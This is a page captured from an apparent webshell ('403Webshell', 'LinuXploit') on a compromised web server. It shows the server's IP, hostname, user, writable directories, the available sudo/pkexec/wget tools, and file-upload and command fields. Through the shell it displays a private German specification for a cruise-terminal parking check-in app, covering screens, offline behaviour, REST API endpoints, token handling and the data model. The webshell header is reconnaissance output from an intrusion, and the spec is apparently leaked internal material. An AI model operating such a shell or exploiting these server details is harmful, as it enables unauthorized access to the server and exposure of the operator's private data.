403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client1/web16/web/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client1/web16/web/App.md
# PaCIM Check-In-App — Anforderungs-Spezifikation

Ein eigenständige mobile App (Tablet + Phone) für den operativen Check-in-Counter
am Kreuzfahrtterminal. Sie ist ein dünner Client und arbeitet ausschließlich über
die [PaCIM REST-API v1](#api-referenz) mit dem SaaS-Backend.

> Diese Datei ist Brief für die App-Entwicklung. Sie beschreibt **Zweck, Screens,
> UX-Prinzipien, API-Verträge und Anpassungen am Backend**, die für den vollen
> Funktionsumfang nötig sind. Der Web-Check-In-Modal in `?page=arrivals` ist die
> Referenz-Implementierung der gewünschten Counter-UX.

---

## 1. Zweck & Zielgruppe

| Punkt          | Wert |
|----------------|------|
| Zielgruppe     | Counter-Mitarbeiter am Terminal (Schicht-Personal, oft wechselnd) |
| Primärgerät    | iPad / Android-Tablet (10–13"), querformat-tauglich |
| Sekundärgerät  | Phone (Walk-around-Modus) |
| Operations-Charakter | POS-/Airport-Style — wenig Text, große Tap-Targets, schneller Flow |
| Sitzung        | 8–12 h Schicht, oft mit instabilem WLAN (Außenbereich) |
| Anzahl Buchungen pro Tag | typ. 100–300 pro Cruise |

**Erfolgskriterium:** Ein Fahrzeug muss in **< 8 Sekunden** vom Erscheinen am
Counter bis zum bestätigten Check-in (inkl. Zahlung-Statusabfrage) durchgeführt
werden können.

---

## 2. Technologie

- Frei wählbar (Flutter, React Native, Swift/Kotlin native).
- Pflicht-Anforderungen:
  - Persistenter Token-Storage über System-Keychain (iOS) / EncryptedSharedPrefs (Android)
  - Funktionsfähige Offline-Queue für Schreib-Aktionen (siehe §6)
  - Barcode/QR-Reader (Onboarding + Buchungs-Suche per Kennzeichen oder Booking-No-Code)
  - Push-Notifications (optional, für „Anreise eingetroffen"-Hinweise vom Backend)

---

## 3. Onboarding & Auth

### 3.1 Token-Erzeugung (Admin im Web)
1. Admin öffnet `?page=settings/api`
2. Vergibt einen Namen (z.B. „iPad-Counter-1") + Scope `read,write`
3. System erzeugt `pcm_<48 hex>` und zeigt ihn als QR-Code an *(neu: aktuell ist
   nur Klartext mit Copy-Button — siehe §10 Backend-Anpassungen)*

### 3.2 App-Setup
- Erststart zeigt: **Setup-Screen** mit zwei Optionen
  - „QR-Code scannen" → liest `pcm_…`-Token aus dem QR
  - „Token manuell einfügen" → Textfeld + Paste
- Optional: Server-URL eintragen (Default `https://meinpacim.example.com/`)
- Validierung per `GET /?page=api/v1/events&limit=1` mit dem Token. Bei 200 OK
  wird der Token in der Keychain abgelegt.
- App merkt sich Server-URL + Token-Name (für UI-Anzeige in der Titelleiste).

### 3.3 Token-Verlust / -Sperrung
- Bei 401 mit `error: invalid_token` → App löscht lokal alle Daten, zeigt
  Setup-Screen, Hinweis: *„Token wurde widerrufen. Bitte beim Admin neuen Schlüssel anfordern."*

---

## 4. Screens & Flows

### 4.1 Tagesübersicht (`/today`)
Default-Startscreen nach dem Login.

**Inhalt**
- Datum + Tag-Navigation (`‹` Vortag · Datum · Folgetag `›`)
- KPI-Strip: Anreisen heute · eingecheckt · offen · storniert · Brutto offen
- Liste der Anreisen sortiert nach Boarding-Zeit (`arrival_time − 30 min`)
- Pro Eintrag: Status-Icon · Name · Kennzeichen · Schiff · Stellplatz · Betrag
- Farbcode am linken Rand: grün=bezahlt+eingecheckt · gelb=Zahlung offen ·
  blau=eingecheckt · rot=storniert
- Filter-Chips: „Offen" · „Angereist" · „Halle" · „Außen" · „Valet"
  (gegenseitiger Ausschluss Halle ↔ Außen wie im Web)
- Suche im Header (Volltext: Kennzeichen, Name, Booking-No)

**Quellen-API**
- `GET /?page=api/v1/bookings&date=<heute>` (200er Limit, Server-side sort by `arrival_time`)
- Live-Refresh alle 60 s (Polling); Pull-to-Refresh manuell

### 4.2 Buchungs-Detail (`/bookings/:id`)
Klick auf einen Eintrag öffnet die Counter-Karte — die ist die operative
Hauptansicht (Pendant zum Web-Check-In-Modal).

**Header-Strip (immer sichtbar):**
- Kennzeichen (groß, im License-Plate-Style; tappable → editieren)
- Kunde (Name + E-Mail + Telefon, Anrufen/Mailen per Tap)
- Event (Schiff + Reisezeitraum + Dauer; tappable → Event-Detail)
- Stellplatz (aktueller Typ Halle/Außen/Valet; tappable → Swap-Picker)

**Tabs**
- **Produkte** — Positionsliste mit Inline-Edit (Menge, Preis, Halle↔Außen-Swap), „Produkt hinzufügen"-Picker (zeigt Staffelpreise für die aktuelle Reisedauer)
- **Zahlung** — Liste der erfassten Zahlungen mit Inline-Edit/Löschen, Rabatt-Dropdown (frei änderbar: kein/10% Frühbucher/5€ Bestandskunde), Neue Zahlung erfassen (Betrag, Methode, Datum)
- **Notizen** — chronologische Liste mit Speichern-Button (mehrere Einträge mit Timestamp), Sort DESC/ASC, je Eintrag editier-/löschbar

**Sidebar (oder Bottom-Sheet auf Phone):**
- Zusammenfassung (Netto / MwSt / Brutto / Bezahlt / Offen)
- Status-Badges (Zahlung · Check-in)

**Footer (Hauptaktionen):**
- ⭐ Favorit
- ❌ Buchung/Rechnung stornieren (öffnet Reason-Sheet: Nicht erschienen / Kunde storniert / Sonstige…)
- ✏️ Bearbeiten (öffnet Edit-Sheet für Reisezeitraum/Anreisezeit/Gäste)
- ✅ **Check-in durchführen** (volle Breite, grün, prominent)
  - Disabled solange Zahlung offen — Tap zeigt Hinweis „Erst Zahlung erfassen"

### 4.3 Live-Suche (`/search`)
Volltext über alle Buchungen (Kennzeichen, Booking-No, Name, Telefon, E-Mail).
Zusätzlicher Schnellzugriff per **Kamera-Scan** auf das Buchungs-QR-Schlüsselschild.

### 4.4 Favoriten (`/favorites`)
Spiegelung von `?page=events/favorites` aus dem Web — gefiltert nach Anreisedatum
und Schiff. Storno-Einträge bleiben sichtbar mit rotem Indicator.

### 4.5 Event-Detail (`/events/:id`)
- Kapazitäten (Halle/Außen/Valet) + aktuelle Auslastung
- Liste aller Buchungen für das Event (paginiert)
- Mini-Stats: angereist / offen / abgereist
- Quick-Action „Live-Anreise" → öffnet 4.1 mit Event-Filter

### 4.6 Einstellungen (`/settings`)
- Token-Name + maskierter Schlüssel (kein Reveal — App ist „Read-only" für den Token)
- Server-URL (read-only)
- Logout / Token entfernen (löscht Keychain-Eintrag)
- Offline-Queue-Anzeige (siehe §6)
- Auto-Refresh-Intervall (15 s / 30 s / 60 s / manuell)
- Dark-Mode-Toggle (System / Hell / Dunkel)

---

## 5. UX-Prinzipien

| Prinzip | Konkret |
|---------|---------|
| **Schnelle Erfassung** | Max. 2 Taps von der Liste bis zur Aktion. Keine Multi-Page-Wizards. |
| **Klare Hierarchie** | Eine prominente Primär-Aktion pro Screen (z.B. „Check-in"). Sekundäre Aktionen visuell zurückgenommen. |
| **Große Tap-Targets** | Min. 44 × 44 pt (iOS) / 48 × 48 dp (Android), auch in Listen. |
| **Status-Toasts oben rechts** | Bestätigung jeder Aktion mit Buchungs-Präfix („Max Mustermann: Kennzeichen geändert"). |
| **Optimistic UI** | Schreib-Aktionen aktualisieren das UI sofort, im Hintergrund läuft der API-Call; bei Fehler Toast + Rollback. |
| **Keine Modals-in-Modals** | Sheets/Drawers stattdessen verwenden. |
| **Farbcodes konsistent** | Grün = bezahlt/eingecheckt · Gelb = offen · Rot = storniert/Fehler · Blau = neutral. |
| **Keine Tabellen auf Phone** | Listen als Karten mit klarer Zeilen-Hierarchie. |

---

## 6. Offline-Verhalten

Counter-WLAN bricht oft ab (Stahlrumpf, weite Außenflächen). Die App muss
operative Aktionen für **mindestens 10 Minuten** überbrücken:

- **Lese-Cache:** Letzter Tagesabruf (`/today`) wird lokal persistiert. Beim
  Öffnen ohne Netz wird der Cache angezeigt mit Banner „Offline — letzte
  Aktualisierung 14:32".
- **Schreib-Queue:** Check-in, Notizen, Zahlungserfassung, Plate-Update werden
  in eine lokale Queue gelegt und beim nächsten erfolgreichen Ping abgespielt.
  Konfliktbehandlung beim Replay:
  - Server liefert 409 (z.B. Buchung inzwischen storniert) → Queue-Eintrag wird
    als „nicht zugestellt" markiert und im Settings-Screen aufgelistet.
  - Sonst: stillschweigend abgearbeitet.
- **Auflösung über Schreib-Idempotenz:** Jeder Queue-Eintrag bekommt eine UUID
  (`Idempotency-Key`-Header), Server akzeptiert Doppel-Posts idempotent.
  *(Backend-Anpassung — siehe §10)*

---

## 7. Push & Real-Time-Sync

Optional, kann in v1 weggelassen werden:

- **Server → App (FCM/APNS):**
  - „Neue Anreise eingetroffen" (sobald Kassen-System die Buchung als „vor Ort" markiert)
  - „Buchung storniert" (Admin storniert webseitig)
- Alternativ: simples Polling alle 30 s + WebSocket optional in v2.

---

## 8. API-Referenz (Stand heute)

Diese Endpunkte existieren bereits ([siehe Wiki](/?page=settings/api/docs)):

| Methode | Pfad | Scope | Zweck |
|---------|------|-------|-------|
| GET  | `/?page=api/v1/events`              | read  | Event-Liste (Filter `from`, `to`, `ship`) |
| GET  | `/?page=api/v1/events&id=<id>`      | read  | Einzelner Event |
| POST | `/?page=api/v1/events`              | write | Event anlegen (JSON-Body) |
| GET  | `/?page=api/v1/bookings`            | read  | Buchungs-Liste (Filter `date`, `event_id`, `limit`, `offset`) |
| GET  | `/?page=api/v1/bookings&id=<id>`    | read  | Einzelne Buchung inkl. `products[]` |

Auth über `Authorization: Bearer pcm_…` (siehe Wiki).

---

## 9. API-Endpunkte — zu ergänzen

Damit die App alle in §4 beschriebenen Aktionen ausführen kann, muss das Backend
folgende Endpunkte zusätzlich öffentlich exponieren. Die zugrundeliegenden
internen AJAX-Routen (`/?page=bookings/ajax/…`) existieren bereits — sie müssen
nur unter `api/v1/…` mit Token-Auth zur Verfügung gestellt werden.

### 9.1 Buchungs-Mutations
| Methode | Pfad | Scope | Zweck |
|---------|------|-------|-------|
| POST    | `/api/v1/bookings/:id/checkin`              | write | Check-in (creates checkin event) |
| POST    | `/api/v1/bookings/:id/checkout`             | write | Check-out |
| POST    | `/api/v1/bookings/:id/cancel`               | write | Storno mit `cancel_reason` |
| POST    | `/api/v1/bookings/:id/uncancel`             | write | Storno aufheben |
| PATCH   | `/api/v1/bookings/:id/plate`                | write | Kennzeichen ändern |
| POST    | `/api/v1/bookings/:id/favorite`             | write | Favorit toggeln (action: add/remove/toggle) |
| POST    | `/api/v1/bookings/:id/discount`             | write | Rabatt setzen/entfernen |

### 9.2 Positionen
| Methode | Pfad | Scope | Zweck |
|---------|------|-------|-------|
| GET     | `/api/v1/bookings/:id/items`                | read  | Positionsliste (redundant zu Booking-GET, einzeln für Refresh) |
| POST    | `/api/v1/bookings/:id/items`                | write | Position hinzufügen (Body: `product_id`, optional `price_gross`, `quantity`) |
| PATCH   | `/api/v1/bookings/:id/items/:itemId`        | write | Menge/Preis ändern |
| POST    | `/api/v1/bookings/:id/items/:itemId/swap`   | write | Produkt umstellen (Body: `new_product_id`) |
| DELETE  | `/api/v1/bookings/:id/items/:itemId`        | write | Position entfernen |

### 9.3 Zahlungen
| Methode | Pfad | Scope | Zweck |
|---------|------|-------|-------|
| GET     | `/api/v1/bookings/:id/payments`             | read  | Zahlungs-Verlauf |
| POST    | `/api/v1/bookings/:id/payments`             | write | Zahlung erfassen (`amount`, `payment_method`, `paid_at`) |
| PATCH   | `/api/v1/payments/:paymentId`               | write | Zahlung ändern |
| DELETE  | `/api/v1/payments/:paymentId`               | write | Zahlung löschen |

### 9.4 Notizen
| Methode | Pfad | Scope | Zweck |
|---------|------|-------|-------|
| GET     | `/api/v1/bookings/:id/notes`                | read  | Notizen-Liste |
| POST    | `/api/v1/bookings/:id/notes`                | write | Notiz anlegen (`body`) |
| PATCH   | `/api/v1/notes/:noteId`                     | write | Notiz aktualisieren |
| DELETE  | `/api/v1/notes/:noteId`                     | write | Notiz löschen |

### 9.5 Produkte (Read-only für Picker)
| Methode | Pfad | Scope | Zweck |
|---------|------|-------|-------|
| GET     | `/api/v1/products`                          | read  | Aktive Produkte mit Festpreis |
| GET     | `/api/v1/products?booking_id=<id>`          | read  | Aktive Produkte mit Staffelpreis für die Buchungs-Reisedauer |

### 9.6 Suche
| Methode | Pfad | Scope | Zweck |
|---------|------|-------|-------|
| GET     | `/api/v1/search?q=<text>&type=bookings`     | read  | Volltext-Suche (analog zur Web-Live-Suche) |

### 9.7 Favoriten-Liste
| Methode | Pfad | Scope | Zweck |
|---------|------|-------|-------|
| GET     | `/api/v1/favorites?date=&ship=`             | read  | Favoriten des aktuellen Tokens — gefiltert |

> **Hinweis zur Token-User-Zuordnung:** Favoriten sind im DB-Schema user-spezifisch
> (`booking_favorites.user_id`). Für die App muss entweder der Token einem User
> zugeordnet sein (Spalte `api_tokens.user_id` ergänzen) oder Favoriten werden
> token-spezifisch. Empfehlung: **Token → User** verlinken, damit auch Audit-Log-
> Einträge der App den korrekten Counter-Mitarbeiter zeigen.

---

## 10. Backend-Anpassungen (Pflicht)

Damit die App produktiv geht, sind die folgenden Erweiterungen am SaaS-Backend
nötig:

1. **API-Endpunkte aus §9** öffentlich machen — Bearer-Token-Auth + `write`-Scope-Check.
   Logging in `api_logs` läuft automatisch via existierendem `$apiOut`-Pattern.
2. **`Idempotency-Key`-Header** (UUID) auf allen POST/PATCH/DELETE-Endpunkten:
   Wenn derselbe Key innerhalb von 24 h erneut auftritt → originale Antwort
   zurückgeben statt zweimal ausführen. Tabelle `api_idempotency` mit
   `(token_id, key, response_status, response_body, created_at)`.
3. **`api_tokens.user_id`** ergänzen — Counter-Audit-Log und Favoriten-Zuordnung.
4. **QR-Token-Anzeige** im Web-Admin (`?page=settings/api`): nach dem Erzeugen
   eines Tokens zusätzlich einen QR-Code rendern, damit das App-Onboarding ohne
   Tippen funktioniert. Lib: `BaconQrCode` oder serverseitig SVG.
5. **Webhook-Support** (optional, für Push): `POST /api/v1/webhooks` mit
   `url` + `events[]`, ausgelöst bei `booking.checked_in`, `booking.cancelled`,
   `payment.recorded`. Out-of-scope für v1.

---

## 11. Datenmodell-Übersicht (relevante Felder)

### Booking (`/api/v1/bookings`)
```json
{
  "id": 347,
  "booking_no": "160526-A-6304",
  "customer_id": 342,
  "event_id": 36,
  "travel_from": "2026-05-16",
  "travel_to": "2026-05-23",
  "arrival_time": "2026-05-16 09:30:00",
  "license_plate": "B-DI-2411",
  "status": "confirmed",         // confirmed | cancelled
  "payment_status": "paid",      // paid | partial | open
  "checkin_status": "pending",   // pending | checked_in | checked_out
  "total_net": 75.63,
  "total_vat": 14.37,
  "total_gross": 90.00,
  "source": null,                // "AIDA" wenn importiert
  "discount_label": null,
  "discount_amount": 0,
  "c_first_name": "Eugen",
  "c_last_name": "Götz Pietsch",
  "event_title": "AIDAprima Mai 2026",
  "event_ship": "AIDAprima",
  "products": [
    { "id": 370, "product_id": 2, "title": "Außen", "quantity": 1,
      "price_gross": 90.00, "vat_rate": 19, "total_gross": 90.00 }
  ]
}
```

### Event
```json
{
  "id": 36,
  "title": "AIDAprima Mai 2026",
  "ship_name": "AIDAprima",
  "terminal": "Steinwerder",
  "starts_at": "2026-05-16 10:00:00",
  "ends_at":   "2026-05-23 10:00:00",
  "arrival_from": "2026-05-16 06:00:00",
  "arrival_to":   "2026-05-16 09:30:00",
  "capacity_indoor": 50,
  "capacity_outdoor": 200,
  "capacity_valet": 30,
  "status": "scheduled"
}
```

---

## 12. Fehlerbehandlung (App-Sicht)

| HTTP | Server-`error`           | App-Verhalten |
|------|--------------------------|---------------|
| 401  | `unauthorized` / `invalid_token` | Setup-Screen, Token-Reset, Admin informieren |
| 403  | `forbidden`              | Toast „Diese Aktion ist mit deinem Zugang nicht erlaubt." |
| 404  | `not_found`              | Lokalen Cache-Eintrag entfernen, Liste reload |
| 405  | `method_not_allowed`     | Hartes Bug — Sentry/Crash-Report |
| 409  | `conflict`               | Bei Schreib-Replay: Queue-Eintrag als „verworfen" markieren, im Settings-Screen anzeigen |
| 422  | `validation_failed`      | Toast mit `fields`-Map, Form-Felder markieren |
| 5xx  | `server_error`           | Retry mit exponential backoff (max. 3×), dann Toast „Server nicht erreichbar" |
| Network-Error | —              | Stiller Wechsel in Offline-Modus, Schreib-Aktion in Queue legen |

---

## 13. Sicherheit

- **Token-Storage:** ausschließlich Keychain/EncryptedSharedPrefs, niemals in
  Plain-Files oder UserDefaults/SharedPreferences. Kein Backup-Export.
- **TLS:** App akzeptiert nur HTTPS-URLs (außer `http://localhost` für Dev).
- **Certificate Pinning:** in v1 nicht zwingend, ab v2 empfohlen.
- **Auto-Lock:** nach 15 min Inaktivität soll die App entweder Bio-Auth verlangen
  (Touch/Face ID) oder das Token löschen. Konfigurierbar im Settings-Screen.
- **Audit:** Jede schreibende API-Aktion landet automatisch in `api_logs` mit
  Token-Name → von dort aus rückverfolgbar.

---

## 14. Telemetrie & Health

- Beim Login: einmal `GET /api/v1/bookings?limit=1` zur Validierung.
- Heartbeat: alle 5 min ein leichter `GET` (z.B. Events-Count), damit
  `api_tokens.last_used_at` im Web-Admin aktuell bleibt.
- Crashlytics/Sentry empfohlen — die App ist im Schichtbetrieb, jede Sekunde Downtime kostet.

---

## 15. Roadmap-Vorschlag

| Sprint | Inhalt |
|--------|--------|
| 1 | Setup, Token-Onboarding, Liste der Anreisen (read-only), Buchungs-Detail (read-only) |
| 2 | Check-in / Check-out, Storno, Notizen (CRUD), Favoriten |
| 3 | Produkt-Tabelle (Swap, Add, Remove, Inline-Edit), Rabatt |
| 4 | Zahlungen (Erfassen, Verlauf, Edit/Delete), Offline-Queue |
| 5 | Suche, Event-Detail, Settings-Polish, QR-Onboarding |
| 6 | Push-Notifications (optional), Webhooks-Konfig |

---

## 16. Out-of-Scope (v1)

- Rechnungs-PDFs aus der App heraus generieren (öffnet ggf. den Web-Link)
- E-Mail-Versand von Buchungsbestätigungen (läuft serverseitig automatisch)
- Tagesabschluss-Funktion (`?page=daily-closing`) — bleibt Web-only
- Multi-Tenant / mehrere Server-Profile gleichzeitig

---

**Ansprechpartner Backend:** siehe `README.md`.
**Web-Referenz für UX:** `?page=arrivals` → Klick auf eine Buchung → Check-In-Modal.

Youez - 2016 - github.com/yon3zu
LinuXploit